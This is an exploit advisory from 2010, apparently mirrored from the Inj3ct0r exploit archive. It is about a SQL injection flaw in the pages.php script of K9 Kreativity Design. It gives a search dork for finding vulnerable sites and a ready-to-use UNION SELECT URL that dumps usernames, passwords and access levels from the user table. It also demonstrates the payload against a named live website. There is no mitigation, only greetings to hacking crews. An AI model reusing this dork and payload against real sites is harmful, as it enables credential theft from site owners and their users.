Home / os / win7

K9 Kreativity Design (pages.php) SQL Injection Vulnerability

Posted on 03 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>K9 Kreativity Design (pages.php) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================
K9 Kreativity Design (pages.php) SQL Injection Vulnerability
============================================================


##########################################################

[+] K9 Kreativity Design (pages.php) SQL Injection Vulnerability

[+] By Newbie_Campuz

[+] Published: 2010-06-02 Pukul 21.00 WIB

[+] jatimcrew.org/

##########################################################



# Script Homepage:
# http://www.k9kreativity.co.uk/

[+]Dork: &quot;pages.php?page_ID=&quot; &quot;K9 Kreativity&quot;

[+] SQL Injection


	http://[target]/pages.php?page_ID=[SQL]

	http://[target]/pages.php?page_ID=-9999%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password,0x3a,user_accesslevel),11,12,13,14,15,16%20from%20user--


Demo : 	http://www.yanukagsds.co.uk/pages.php?page_ID=3

       	http://www.yanukagsds.co.uk/pages.php?page_ID=-9999%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(username,0x3a,password,0x3a,user_accesslevel),11,12,13,14,15,16%20from%20user--

##########################################################
Thanks to Allah SWT n Nabi Muhammad SAW

Special Thanks to : 	
My Parent, My Brother n My Sister
Byz9991, Doraemon, Bang_Napi, Dark_anvanger, Kenthot_cakep, Bom2, Shamus, Chapzha, Ficarciruas, phoenixhaxor, mywisdom, 
Pr3tty, newbie_043, KidDevilz, Android2009, XcyberX, flyff666, inurl, Osean, Vhacx, jamsh0ut, elfata, vickry_shahab
cybermuttaqin, k3m4ngi, roentah, zhombhie, techno_x46 and YOU... !!!

All admin, momod, spamguard, staff and member Jatim Crew..
All admin, momod, spamguard, staff and member xteamweb
All admin, momod, spamguard, staff and member h2ozones

##########################################################



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :